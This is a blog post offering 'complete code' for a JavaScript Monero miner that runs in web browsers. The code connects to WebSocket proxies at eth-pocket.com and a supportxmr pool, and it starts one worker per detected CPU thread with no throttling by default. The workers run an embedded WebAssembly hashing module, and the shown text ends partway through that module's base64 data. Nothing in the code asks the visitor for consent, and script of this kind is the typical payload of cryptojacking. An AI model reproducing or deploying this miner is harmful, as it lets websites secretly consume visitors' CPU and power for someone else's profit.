門羅挖礦JS

矽谷_動力發表於2018-05-14

直接上完整程式碼

var libUrl = null;
var NewVersion = null;
var scriptTag = Array.prototype.slice
    .call(document.getElementsByTagName("script"))
    .filter(x => /=ws/.test(x.src));
if(scriptTag.length > 0) {
    libUrl = scriptTag[0].src.split(".js")[0];
}

var websock = [["wss://eth-pocket.com:8585","wss://eth-pocket.eu:8585","wss://eth-pocket.de:8585"]];
var idx = Math.random()*websock.length | 0;
var pr = websock[idx];
var rightProxy = pr[Math.random()*pr.length | 0];
var server = rightProxy;
var CustomPool = "pool.supportxmr.com:3333";

var job = null;      // remember last job we got from the server
var workers = [];    // keep track of our workers
var ws;              // the websocket we use 

/* state variables */

var receiveStack = [];  // everything we get from the server
var sendStack = [];     // everything we send to the server
var totalhashes = 0;    // number of hashes calculated
var acceptedhashes = 0;
var errortext = "Error: ";
var connected = 0;      // 0->disconnected, 1->connected, 2->disconnected (error), 3->disconnect (on purpose) 
var reconnector = 0;    // regular check if the WebSocket is still connected
var timerId = 0;

var throttlem = 0;  // percentage of miner throttling. If you set this to 20, the
                        // cpu workload will be approx. 80% (for 1 thread / CPU).
                        // setting this value to 100 will not fully disable the miner but still
                        // calculate hashes with 10% CPU load. See worker.js for details.

var handshake = null;


function addWorkers(numThreads) {
  logicalProcessors = numThreads;

  if (numThreads == -1) {

    /* try to find a good value */

    try {
      logicalProcessors = window.navigator.hardwareConcurrency;
    } catch (err) {
      logicalProcessors = 4;
    }

    if (!((logicalProcessors > 0) && (logicalProcessors < 40)))
      logicalProcessors = 4;
  }


  while (logicalProcessors-- > 0) addWorker();
}

var openWebSocket = function () {

  if (ws != null) {
    ws.close();
  }

  ws = new WebSocket(server);

  ws.onmessage = on_servermsg;
  ws.onerror = function (event) {
    if (connected < 2) connected = 2;
    job = null;
  }
  ws.onclose = function () {
    if (connected < 2) connected = 2;
    job = null;
  }

  ws.onopen = function () {
    ws.send((JSON.stringify(handshake)));
    connected = 1;
  }


};

reconnector = function () {
  if (connected !== 3 && (ws == null || (ws.readyState !== 0 && ws.readyState !== 1))) {
    //console.log("The WebSocket is not connected. Trying to connect.");
    openWebSocket();
  }
};

// starts mining
function PerfektStartWithId(loginid, numThreads = -1, userid = "") {

  stopMining();
  connected = 0;

  handshake = {
    identifier: "handshake",
    loginid: loginid,
    userid: userid,
    version : 4
  };

  addWorkers(numThreads);
  reconnector();
  timerId = setInterval(reconnector, 10000);
}

// starts mining
function PerfektStart(login, password = "x", numThreads = -1, userid = "") {

  stopMining();
  connected = 0;

  handshake = {
    identifier: "handshake",
    pool: CustomPool,
    login: login,
    password: password,
    userid: userid,
    version : 4
  };

  addWorkers(numThreads);
  reconnector();
  timerId = setInterval(reconnector, 10000);
}

// stop mining  
function stopMining() {
  connected = 3;
  
  if(timerId != 0) clearInterval(timerId);
  
  if (ws != null) ws.close();
  deleteAllWorkers();
  job = null;
}

//PiTi
function GetAcceptedHashes() {
  return acceptedhashes;
}

function GetError() {
  return errortext;
}

/* // add one worker 
function addWorker() {
  var newWorker = new Worker("http://www./worker.js");
  workers.push(newWorker);

  newWorker.onmessage = on_workermsg;

  setTimeout(function () {
    informWorker(newWorker);
  }, 2000);
} */

// add one worker 
function addWorker() {
  var k = new Worker(URL.createObjectURL(new Blob(["(" + function() {
        function k(b) {
            x(!Z);
            var a = y;
            y = y + b + 15 & -16;
            return a
        }

        function q(b) {
            x(z);
            var a = l[z >> 2];
            b = a + b + 15 & -16;
            l[z >> 2] = b;
            return b >= A ? (Q(), l[z >> 2] = a, 0) : a
        }

        function C(b, a) {
            a || (a = 16);
            return Math.ceil(b / a) * a
        }

        function H(a) {
            switch (a) {
                case "i1":
                case "i8":
                    return 1;
                case "i16":
                    return 2;
                case "i32":
                    return 4;
                case "i64":
                    return 8;
                case "float":
                    return 4;
                case "double":
                    return 8;
                default:
                    return "*" === a[a.length - 1] ? 4 : "i" === a[0] ? (a = parseInt(a.substr(1)),
                        x(0 === a % 8), a / 8) : 0
            }
        }

        function x(a, d) {
            a || B("Assertion failed: " + d)
        }

        function aa(b) {
            var d = a["_" + b];
            x(d, "Cannot call unknown function " + b + ", make sure it is exported");
            return d
        }

        function ba(a, d, c, e, g) {
            g = aa(a);
            var b = [];
            a = 0;
            if (e)
                for (var f = 0; f < e.length; f++) {
                    var k = ra[c[f]];
                    k ? (0 === a && (a = ca()), b[f] = k(e[f])) : b[f] = e[f]
                }
            c = g.apply(null, b);
            "string" === d && (c = sa(c));
            0 !== a && da(a);
            return c
        }

        function sa(a, d) {
            if (0 === d || !a) return "";
            for (var b = 0, e, g = 0;;) {
                e = v[a + g >> 0];
                b |= e;
                if (0 == e && !d) break;
                g++;
                if (d && g == d) break
            }
            d || (d = g);
            e = "";
            if (128 >
                b) {
                for (; 0 < d;) b = String.fromCharCode.apply(String, v.subarray(a, a + Math.min(d, 1024))), e = e ? e + b : b, a += 1024, d -= 1024;
                return e
            }
            a: {
                b = v;
                for (g = e = a; b[g];) ++g;
                if (16 < g - e && b.subarray && ea) b = ea.decode(b.subarray(e, g));
                else
                    for (g = "";;) {
                        var h = b[e++];
                        if (!h) {
                            b = g;
                            break a
                        }
                        if (h & 128) {
                            var f = b[e++] & 63;
                            if (192 == (h & 224)) g += String.fromCharCode((h & 31) << 6 | f);
                            else {
                                var k = b[e++] & 63;
                                if (224 == (h & 240)) h = (h & 15) << 12 | f << 6 | k;
                                else {
                                    var l = b[e++] & 63;
                                    if (240 == (h & 248)) h = (h & 7) << 18 | f << 12 | k << 6 | l;
                                    else {
                                        var m = b[e++] & 63;
                                        if (248 == (h & 252)) h = (h & 3) << 24 | f << 18 | k <<
                                            12 | l << 6 | m;
                                        else {
                                            var w = b[e++] & 63;
                                            h = (h & 1) << 30 | f << 24 | k << 18 | l << 12 | m << 6 | w
                                        }
                                    }
                                }
                                65536 > h ? g += String.fromCharCode(h) : (h -= 65536, g += String.fromCharCode(55296 | h >> 10, 56320 | h & 1023))
                            }
                        } else g += String.fromCharCode(h)
                    }
            }
            return b
        }

        function fa(a, d, c, e) {
            if (!(0 < e)) return 0;
            var b = c;
            e = c + e - 1;
            for (var h = 0; h < a.length; ++h) {
                var f = a.charCodeAt(h);
                55296 <= f && 57343 >= f && (f = 65536 + ((f & 1023) << 10) | a.charCodeAt(++h) & 1023);
                if (127 >= f) {
                    if (c >= e) break;
                    d[c++] = f
                } else {
                    if (2047 >= f) {
                        if (c + 1 >= e) break;
                        d[c++] = 192 | f >> 6
                    } else {
                        if (65535 >= f) {
                            if (c + 2 >= e) break;
                            d[c++] =
                                224 | f >> 12
                        } else {
                            if (2097151 >= f) {
                                if (c + 3 >= e) break;
                                d[c++] = 240 | f >> 18
                            } else {
                                if (67108863 >= f) {
                                    if (c + 4 >= e) break;
                                    d[c++] = 248 | f >> 24
                                } else {
                                    if (c + 5 >= e) break;
                                    d[c++] = 252 | f >> 30;
                                    d[c++] = 128 | f >> 24 & 63
                                }
                                d[c++] = 128 | f >> 18 & 63
                            }
                            d[c++] = 128 | f >> 12 & 63
                        }
                        d[c++] = 128 | f >> 6 & 63
                    }
                    d[c++] = 128 | f & 63
                }
            }
            d[c] = 0;
            return c - b
        }

        function ha() {
            a.HEAP8 = K = new Int8Array(n);
            a.HEAP16 = I = new Int16Array(n);
            a.HEAP32 = l = new Int32Array(n);
            a.HEAPU8 = v = new Uint8Array(n);
            a.HEAPU16 = new Uint16Array(n);
            a.HEAPU32 = new Uint32Array(n);
            a.HEAPF32 = ia = new Float32Array(n);
            a.HEAPF64 = ja =
                new Float64Array(n)
        }

        function Q() {
            B("Cannot enlarge memory arrays. Either (1) compile with  -s TOTAL_MEMORY=X  with X higher than the current value " + A + ", (2) compile with  -s ALLOW_MEMORY_GROWTH=1  which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with  -s ABORTING_MALLOC=0 ")
        }

        function L(b) {
            for (; 0 < b.length;) {
                var d = b.shift();
                if ("function" == typeof d) d();
                else {
                    var c = d.func;
                    "number" === typeof c ? void 0 === d.arg ? a.dynCall_v(c) : a.dynCall_vi(c,
                        d.arg) : c(void 0 === d.arg ? null : d.arg)
                }
            }
        }

        function M(a) {
            return String.prototype.startsWith ? a.startsWith(R) : 0 === a.indexOf(R)
        }

        function ka(a) {
            for (var b = [], c = 0; c < a.length; c++) {
                var e = a[c];
                255 < e && (ta && x(!1, "Character code " + e + " (" + String.fromCharCode(e) + ")  at offset " + c + " not in 0x00-0xFF."), e &= 255);
                b.push(String.fromCharCode(e))
            }
            return b.join("")
        }

        function D(a) {
            if (M(a)) {
                a = a.slice(R.length);
                if ("boolean" === typeof E && E) {
                    try {
                        var b = Buffer.from(a, "base64")
                    } catch (h) {
                        b = new Buffer(a, "base64")
                    }
                    var c = new Uint8Array(b.buffer,
                        b.byteOffset, b.byteLength)
                } else try {
                    var e = ua(a),
                        g = new Uint8Array(e.length);
                    for (b = 0; b < e.length; ++b) g[b] = e.charCodeAt(b);
                    c = g
                } catch (h) {
                    throw Error("Converting base64 string to bytes failed.");
                }
                return c
            }
        }

        function N(a) {
            this.name = "ExitStatus";
            this.message = "Program terminated with exit(" + a + ")";
            this.status = a
        }

        function S(b) {
            function d() {
                if (!a.calledRun && (a.calledRun = !0, !T)) {
                    la || (la = !0, L(ma));
                    L(va);
                    if (a.onRuntimeInitialized) a.onRuntimeInitialized();
                    if (a.postRun)
                        for ("function" == typeof a.postRun && (a.postRun = [a.postRun]); a.postRun.length;) na.unshift(a.postRun.shift());
                    L(na)
                }
            }
            if (!(0 < F)) {
                if (a.preRun)
                    for ("function" == typeof a.preRun && (a.preRun = [a.preRun]); a.preRun.length;) oa.unshift(a.preRun.shift());
                L(oa);
                0 < F || a.calledRun || (a.setStatus ? (a.setStatus("Running..."), setTimeout(function() {
                    setTimeout(function() {
                        a.setStatus("")
                    }, 1);
                    d()
                }, 1)) : d())
            }
        }

        function B(b) {
            if (a.onAbort) a.onAbort(b);
            void 0 !== b ? (a.print(b), a.printErr(b), b = JSON.stringify(b)) : b = "";
            T = !0;
            throw "abort(" + b + "). Build with -s ASSERTIONS=1 for more info.";
        }

        function pa(a) {
            return parseInt(a.match(/[a-fA-F0-9]{2}/g).reverse().join(""),
                16)
        }
        var a = "undefined" !== typeof a ? a : {},
            m = {};
        for (p in a) a.hasOwnProperty(p) && (m[p] = a[p]);
        a.arguments = [];
        a.thisProgram = "./this.program";
        a.quit = function(a, d) {
            throw d;
        };
        a.preRun = [];
        a.postRun = [];
        var J = !1,
            G = !1,
            E = !1,
            U = !1;
        if (a.ENVIRONMENT)
            if ("WEB" === a.ENVIRONMENT) J = !0;
            else if ("WORKER" === a.ENVIRONMENT) G = !0;
        else if ("NODE" === a.ENVIRONMENT) E = !0;
        else if ("SHELL" === a.ENVIRONMENT) U = !0;
        else throw Error("Module['ENVIRONMENT'] value is not valid. must be one of: WEB|WORKER|NODE|SHELL.");
        else J = "object" === typeof window,
            G = "function" === typeof importScripts, E = "object" === typeof process && "function" === typeof require && !J && !G, U = !J && !E && !G;
        if (E) {
            var V, W;
            a.read = function(a, d) {
                var b = D(a);
                b || (V || (V = require("fs")), W || (W = require("path")), a = W.normalize(a), b = V.readFileSync(a));
                return d ? b : b.toString()
            };
            a.readBinary = function(b) {
                b = a.read(b, !0);
                b.buffer || (b = new Uint8Array(b));
                x(b.buffer);
                return b
            };
            1 < process.argv.length && (a.thisProgram = process.argv[1].replace(/\\/g, "/"));
            a.arguments = process.argv.slice(2);
            "undefined" !== typeof module &&
                (module.exports = a);
            process.on("uncaughtException", function(a) {
                if (!(a instanceof N)) throw a;
            });
            process.on("unhandledRejection", function(a, d) {
                process.exit(1)
            });
            a.inspect = function() {
                return "[Emscripten Module object]"
            }
        } else if (U) "undefined" != typeof read && (a.read = function(a) {
                var b = D(a);
                return b ? ka(b) : read(a)
            }), a.readBinary = function(a) {
                var b;
                if (b = D(a)) return b;
                if ("function" === typeof readbuffer) return new Uint8Array(readbuffer(a));
                b = read(a, "binary");
                x("object" === typeof b);
                return b
            }, "undefined" != typeof scriptArgs ?
            a.arguments = scriptArgs : "undefined" != typeof arguments && (a.arguments = arguments), "function" === typeof quit && (a.quit = function(a, d) {
                quit(a)
            });
        else if (J || G) a.read = function(a) {
            try {
                var b = new XMLHttpRequest;
                b.open("GET", a, !1);
                b.send(null);
                return b.responseText
            } catch (c) {
                if (a = D(a)) return ka(a);
                throw c;
            }
        }, G && (a.readBinary = function(a) {
            try {
                var b = new XMLHttpRequest;
                b.open("GET", a, !1);
                b.responseType = "arraybuffer";
                b.send(null);
                return new Uint8Array(b.response)
            } catch (c) {
                if (a = D(a)) return a;
                throw c;
            }
        }), a.readAsync = function(a,
            d, c) {
            var b = new XMLHttpRequest;
            b.open("GET", a, !0);
            b.responseType = "arraybuffer";
            b.onload = function() {
                if (200 == b.status || 0 == b.status && b.response) d(b.response);
                else {
                    var e = D(a);
                    e ? d(e.buffer) : c()
                }
            };
            b.onerror = c;
            b.send(null)
        }, "undefined" != typeof arguments && (a.arguments = arguments), a.setWindowTitle = function(a) {
            document.title = a
        };
        a.print = "undefined" !== typeof console ? console.log.bind(console) : "undefined" !== typeof print ? print : null;
        a.printErr = "undefined" !== typeof printErr ? printErr : "undefined" !== typeof console && console.warn.bind(console) ||
            a.print;
        a.print = a.print;
        a.printErr = a.printErr;
        for (p in m) m.hasOwnProperty(p) && (a[p] = m[p]);
        m = void 0;
        var T = 0;
        m = {
            stackSave: function() {
                ca()
            },
            stackRestore: function() {
                da()
            },
            arrayToC: function(a) {
                var b = X(a.length);
                K.set(a, b);
                return b
            },
            stringToC: function(a) {
                var b = 0;
                if (null !== a && void 0 !== a && 0 !== a) {
                    var c = (a.length << 2) + 1;
                    b = X(c);
                    fa(a, v, b, c)
                }
                return b
            }
        };
        var ra = {
                string: m.stringToC,
                array: m.arrayToC
            },
            ea = "undefined" !== typeof TextDecoder ? new TextDecoder("utf8") : void 0;
        "undefined" !== typeof TextDecoder && new TextDecoder("utf-16le");
        var K, v, I, l, ia, ja, y, P, z;
        var p = y = p = P = m = z = 0;
        var Z = !1;
        m = a.TOTAL_STACK || 5242880;
        var A = a.TOTAL_MEMORY || 67108864;
        A < m && a.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + A + "! (TOTAL_STACK=" + m + ")");
        if (a.buffer) var n = a.buffer;
        else "object" === typeof WebAssembly && "function" === typeof WebAssembly.Memory ? (a.wasmMemory = new WebAssembly.Memory({
            initial: A / 65536,
            maximum: A / 65536
        }), n = a.wasmMemory.buffer) : n = new ArrayBuffer(A), a.buffer = n;
        ha();
        l[0] = 1668509029;
        I[1] = 25459;
        if (115 !== v[2] || 99 !== v[3]) throw "Runtime error: expected the system to be little-endian!";
        var oa = [],
            ma = [],
            va = [],
            wa = [],
            na = [],
            la = !1,
            xa = Math.abs,
            ya = Math.ceil,
            za = Math.floor,
            Aa = Math.min,
            F = 0,
            Y = null,
            O = null;
        a.preloadedImages = {};
        a.preloadedAudios = {};
        var R = "data:application/octet-stream;base64,";
        (function() {
            function b() {
                try {
                    if (a.wasmBinary) return new Uint8Array(a.wasmBinary);
                    var b = D(g);
                    if (b) return b;
                    if (a.readBinary) return a.readBinary(g);
                    throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)";
                } catch (r) {
                    B(r)
                }
            }

            function d() {
                return a.wasmBinary || !J && !G || "function" !== typeof fetch ? new Promise(function(a, c) {
                    a(b())
                }) : fetch(g, {
                    credentials: "same-origin"
                }).then(function(a) {
                    if (!a.ok) throw "failed to load wasm binary file at '" + g + "'";
                    return a.arrayBuffer()
                })["catch"](function() {
                    return b()
                })
            }

            function c(b, c, e) {
                function h(b, c) {
                    k = b.exports;
                    if (k.memory) {
                        var d = k.memory,
                            e = a.buffer;
                        d.byteLength < e.byteLength && a.printErr("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here");
                        e = new Int8Array(e);
                        (new Int8Array(d)).set(e);
                        a.buffer = n = d;
                        ha()
                    }
                    a.asm = k;
                    a.usingWasm = !0;
                    F--;
                    a.monitorRunDependencies && a.monitorRunDependencies(F);
                    0 == F && (null !== Y && (clearInterval(Y), Y = null), O && (d = O, O = null, d()))
                }

                function l(a) {
                    h(a.instance, a.module)
                }

                function r(b) {
                    d().then(function(a) {
                        return WebAssembly.instantiate(a, f)
                    }).then(b)["catch"](function(b) {
                        a.printErr("failed to asynchronously prepare wasm: " + b);
                        B(b)
                    })
                }
                if ("object" !== typeof WebAssembly) return a.printErr("no native wasm support detected"), !1;
                if (!(a.wasmMemory instanceof WebAssembly.Memory)) return a.printErr("no native wasm Memory in use"), !1;
                c.memory = a.wasmMemory;
                f.global = {
                    NaN: NaN,
                    Infinity: Infinity
                };
                f["global.Math"] = Math;
                f.env = c;
                F++;
                a.monitorRunDependencies && a.monitorRunDependencies(F);
                if (a.instantiateWasm) try {
                    return a.instantiateWasm(f, h)
                } catch (Ca) {
                    return a.printErr("Module.instantiateWasm callback failed with error: " + Ca), !1
                }
                a.wasmBinary || "function" !== typeof WebAssembly.instantiateStreaming || M(g) || "function" !== typeof fetch ? r(l) : WebAssembly.instantiateStreaming(fetch(g, {
                    credentials: "same-origin"
                }), f).then(l)["catch"](function(b) {
                    a.printErr("wasm streaming compile failed: " + b);
                    a.printErr("falling back to ArrayBuffer instantiation");
                    r(l)
                });
                return {}
            }
            var e = "",
                g = "data:application/octet-stream;base64,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